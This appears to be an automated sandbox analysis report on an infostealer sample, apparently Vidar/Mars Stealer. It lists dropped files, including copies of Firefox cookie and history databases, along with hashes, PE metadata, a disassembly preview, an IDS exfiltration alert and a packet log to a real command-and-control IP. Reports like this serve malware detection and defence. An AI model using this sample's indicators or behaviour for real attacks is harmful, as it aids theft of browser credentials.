SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe

Download File

Process:	C:\Users\user\Desktop\8BQ2v9glrG.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	110080
Entropy (8bit):	7.30871381320527
Encrypted:	false
SSDEEP:	3072:VGo3Lc37ACx6oXKo39HxEcKe/h/RS8RMr:V33Lcrdxq+JhM
MD5:	52E9F55D274E2EE01959FE2D8297A927
SHA1:	B16E5DF39A96C81EDB1E98239031B75834B07A87
SHA-256:	D180729EA9F2346E9ABD7D96FC1D0AE39FA012D9660F50F79C71B9F828B88DC0
SHA-512:	2E51D8C331690CA97A05BB89490D179A0C50DAE1B1E0DEF82AA7F023376B8ECC844A85B74E54BE55695D05EE7623BB2BD064DF836E5307D3687DE1E6FDA8CC1C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96% Antivirus: Virustotal, Detection: 71%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6...XY..XY..XY...Y..XY.YX..XY..YY..XY...Y..XY...Y..XYRich..XY........PE..L......a.....................................@....@.......................................@.................................$...(....................................................................................@...............................text....0.......................... ....rdata...`...@...V...2..............@..@.data.... ..........................@....reloc........... ..................@..BLLCPPC..................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RarSFX0\HLNY58Q9

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RarSFX0\JWTR1NG4

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RarSFX0\S0RQI589

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.837969145662817
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	8BQ2v9glrG.exe
File size:	464'872 bytes
MD5:	1acc4c16687d848711a9980e6ae72e50
SHA1:	eadc3f132e62bc29e7db686a440e411384de3b58
SHA256:	c9447adafcde36beae4a02d6c81c820d46e4fa9481e1b708b641b3a67c98d48c
SHA512:	9a744209cfd275a1e3dd8e11f1ec31335f7c4f789e4156a2e4c166b83741a6b7811a09cb7678f1bff28b5291f0dc7a254f70efecb3131ff954521c4a75408408
SSDEEP:	12288:pOxPkPjQeqQ1Y53KR/WX+t4K5dKKVaGiL:nEeqQq3KZUMaGs
TLSH:	4CA48D49A3E509F9E4B7E67889824901E6767C0607319BDF13A0566B3F37390DE7E322
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.........B#..,p..,p..,p.:.p..,p.:.p5.,p.:.p..,p<..p..,p<.(q..,p<./q..,p<.)q..,p...p..,p...p..,p...p..,p..-p..,p2.)q..,p2.,q..,p2..p..,

File Icon


Icon Hash:	1515d4d4442f2d2d

Static PE Info

General

Entrypoint:	0x1400266b0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6640972B [Sun May 12 10:17:15 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	e8a30656287fe831c9782204ed10cd68

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F3E30B1C2D8h
dec eax
add esp, 28h
jmp 00007F3E30B1BC6Fh
int3
int3
dec eax
mov eax, esp
dec eax
mov dword ptr [eax+08h], ebx
dec eax
mov dword ptr [eax+10h], ebp
dec eax
mov dword ptr [eax+18h], esi
dec eax
mov dword ptr [eax+20h], edi
inc ecx
push esi
dec eax
sub esp, 20h
dec ebp
mov edx, dword ptr [ecx+38h]
dec eax
mov esi, edx
dec ebp
mov esi, eax
dec eax
mov ebp, ecx
dec ecx
mov edx, ecx
dec eax
mov ecx, esi
dec ecx
mov edi, ecx
inc ecx
mov ebx, dword ptr [edx]
dec eax
shl ebx, 04h
dec ecx
add ebx, edx
dec esp
lea eax, dword ptr [ebx+04h]
call 00007F3E30B1B233h
mov eax, dword ptr [ebp+04h]
and al, 66h
neg al
mov eax, 00000001h
sbb edx, edx
neg edx
add edx, eax
test dword ptr [ebx+04h], edx
je 00007F3E30B1BE03h
dec esp
mov ecx, edi
dec ebp
mov eax, esi
dec eax
mov edx, esi
dec eax
mov ecx, ebp
call 00007F3E30B1DAC3h
dec eax
mov ebx, dword ptr [esp+30h]
dec eax
mov ebp, dword ptr [esp+38h]
dec eax
mov esi, dword ptr [esp+40h]
dec eax
mov edi, dword ptr [esp+48h]
dec eax
add esp, 20h
inc ecx
pop esi
ret
int3
int3
int3
dec eax
sub esp, 48h
dec eax
lea ecx, dword ptr [esp+20h]
call 00007F3E30B1AD03h
dec eax
lea edx, dword ptr [00023B67h]
dec eax
lea ecx, dword ptr [esp+20h]
call 00007F3E30B1CED2h
int3
jmp 00007F3E30B22CA0h
int3
int3
int3
int3
int3
int3

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x4b1e0	0x34	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4b214	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x71000	0xe360	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x6c000	0x2ab4	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x80000	0x938	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x460e0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x46180	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3de10	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3b000	0x4a0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x4a4ac	0x100	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x398ce	0x39a00	43edabbddfa6948cff2e968fd336a07d	False	0.5457226138828634	data	6.465308419785883	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x3b000	0x1118c	0x11200	53297ea4f69cf70feab0538ecef732e2	False	0.44722285583941607	data	5.215657068009717	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x4d000	0x1ef5c	0x1a00	08eb45cbc6a0e70bd1c0a96a66c4a6d0	False	0.2765925480769231	DOS executable (block device driver o\3050)	3.1766622656728773	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x6c000	0x2ab4	0x2c00	703496d6ceba70b1fe234ccc9c454141	False	0.4807350852272727	data	5.409685184469512	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.didat	0x6f000	0x308	0x400	c445681068e68e0f8df59c5ea517c5e5	False	0.2421875	data	2.786346435110699	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
_RDATA	0x70000	0x15c	0x200	b999e3f72a9a42ebb4d9b8fafa0a18e7	False	0.40625	data	3.3314534700182197	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x71000	0xe360	0xe400	de9f51d017ba3a6fbb2d9d60d0118abb	False	0.6301226699561403	data	6.59668280263086	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x80000	0x938	0xa00	c057cd0b29d094da3cebf433be170d6d	False	0.498828125	data	5.228587706357198	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
PNG	0x71680	0xb45	PNG image data, 93 x 302, 8-bit/color RGB, non-interlaced	English	United States	1.0027729636048528
PNG	0x721c8	0x15a9	PNG image data, 186 x 604, 8-bit/color RGB, non-interlaced	English	United States	0.9363390441839495
RT_ICON	0x73778	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.47832369942196534
RT_ICON	0x73ce0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.5410649819494585
RT_ICON	0x74588	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.4933368869936034
RT_ICON	0x75430	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2834 x 2834 px/m	English	United States	0.5390070921985816
RT_ICON	0x75898	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2834 x 2834 px/m	English	United States	0.41393058161350843
RT_ICON	0x76940	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2834 x 2834 px/m	English	United States	0.3479253112033195
RT_ICON	0x78ee8	0x3d71	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9809269502193401
RT_DIALOG	0x7d5b8	0x286	data	English	United States	0.5092879256965944
RT_DIALOG	0x7d388	0x13a	data	English	United States	0.60828025477707
RT_DIALOG	0x7d4c8	0xec	data	English	United States	0.6991525423728814
RT_DIALOG	0x7d258	0x12e	data	English	United States	0.5927152317880795
RT_DIALOG	0x7cf20	0x338	data	English	United States	0.45145631067961167
RT_DIALOG	0x7ccc8	0x252	data	English	United States	0.5757575757575758
RT_STRING	0x7df98	0x1e2	data	English	United States	0.3900414937759336
RT_STRING	0x7e180	0x1cc	data	English	United States	0.4282608695652174
RT_STRING	0x7e350	0x1b8	data	English	United States	0.45681818181818185
RT_STRING	0x7e508	0x146	data	English	United States	0.5153374233128835
RT_STRING	0x7e650	0x46c	data	English	United States	0.3454063604240283
RT_STRING	0x7eac0	0x166	data	English	United States	0.49162011173184356
RT_STRING	0x7ec28	0x152	data	English	United States	0.5059171597633136
RT_STRING	0x7ed80	0x10a	data	English	United States	0.49624060150375937
RT_STRING	0x7ee90	0xbc	data	English	United States	0.6329787234042553
RT_STRING	0x7ef50	0x1c0	data	English	United States	0.5178571428571429
RT_STRING	0x7f110	0x250	data	English	United States	0.44256756756756754
RT_GROUP_ICON	0x7cc60	0x68	data	English	United States	0.7019230769230769
RT_MANIFEST	0x7d840	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3957333333333333

Imports

DLL	Import
KERNEL32.dll	LocalFree, GetLastError, SetLastError, FormatMessageW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, SetFileTime, CloseHandle, CreateFileW, GetCurrentProcessId, CreateDirectoryW, RemoveDirectoryW, SetFileAttributesW, GetFileAttributesW, DeleteFileW, MoveFileW, FindClose, FindFirstFileW, FindNextFileW, GetVersionExW, GetModuleFileNameW, SetCurrentDirectoryW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, ExpandEnvironmentStringsW, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, LoadResource, SizeofResource, GetTimeFormatW, GetDateFormatW, GetCurrentProcess, GetExitCodeProcess, WaitForSingleObject, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetNumberFormatW, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapReAlloc, HeapSize, SetStdHandle, GetProcessHeap, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, SetEvent, ResetEvent, WaitForSingleObjectEx, CreateEventW, IsDebuggerPresent, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, RtlPcToFileHeader, RtlUnwindEx, EncodePointer, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, GetStringTypeW, LCMapStringW, FindFirstFileExA, FindNextFileA, IsValidCodePage, GetOEMCP
OLEAUT32.dll	SysAllocString, SysFreeString, VariantClear
gdiplus.dll	GdipCloneImage, GdipAlloc, GdipDisposeImage, GdipCreateBitmapFromStream, GdipCreateHBITMAPFromBitmap, GdiplusStartup, GdiplusShutdown, GdipFree

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-24T11:52:00.209046+0200	TCP	2033163	ET MALWARE Win32/Vidar Variant/Mars Stealer CnC Exfil	1	49730	80	192.168.2.4	104.194.151.11

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 24, 2024 11:51:54.758668900 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:54.763751030 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:54.764636040 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:54.764832973 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:54.769664049 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.387840986 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.387995005 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.404156923 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.408993959 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.574837923 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.575001955 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.575014114 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.575026035 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.575033903 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.575042009 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.575048923 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.575054884 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.575064898 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.575077057 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.575086117 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.575086117 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.575098038 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.575112104 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.575115919 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.575136900 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.575161934 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.580188990 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.580259085 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.580311060 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.580353975 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.665266037 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.665290117 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.665322065 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.665338039 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.665348053 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.665359020 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.665393114 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.670042992 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.670059919 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.670072079 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.670088053 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.670089006 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.670121908 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.675710917 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.675721884 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.675730944 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.675741911 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.675753117 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.675760031 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.675772905 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.675796986 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.680449963 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.680466890 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.680476904 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.680491924 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.680501938 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.680516958 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.680517912 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.680536985 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.680560112 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.686748981 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.686759949 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.686769009 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.686779022 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.686789989 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.686796904 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.686816931 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.686842918 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.691508055 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.691519976 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.691530943 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.691556931 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.691570997 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.755887032 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.755901098 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.755912066 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.755948067 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.755968094 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.755980015 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.756017923 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.760673046 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.760684967 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.760714054 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.760734081 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.760818958 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.760831118 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.760839939 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.760855913 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.760879993 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.765449047 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.765460014 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.765496016 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.765569925 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.765582085 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.765608072 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.765635014 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.770437002 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.770456076 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.770467043 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.770478964 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.770489931 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.770490885 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.770509958 CEST	49730	80	192.168.2.4	104.194.151.11
